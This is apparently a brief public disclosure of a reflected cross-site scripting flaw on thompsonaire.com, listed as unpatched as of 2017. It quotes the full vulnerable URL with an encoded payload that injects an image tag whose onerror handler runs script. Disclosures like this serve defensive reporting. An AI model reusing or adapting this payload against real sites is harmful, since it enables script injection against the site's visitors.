thompsonaire.com XSS vulnerability

Vulnerable URL: http://www.thompsonaire.com/cgi-bin/Calcium40.pl/Calcium40.pl?CalendarName=%22%3E%3Cimg/src=%22%3E%22onerror=confirm%27XSSPOSED%27%3E=ShowIt=Month=Absolute=Block=2015/10/1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS...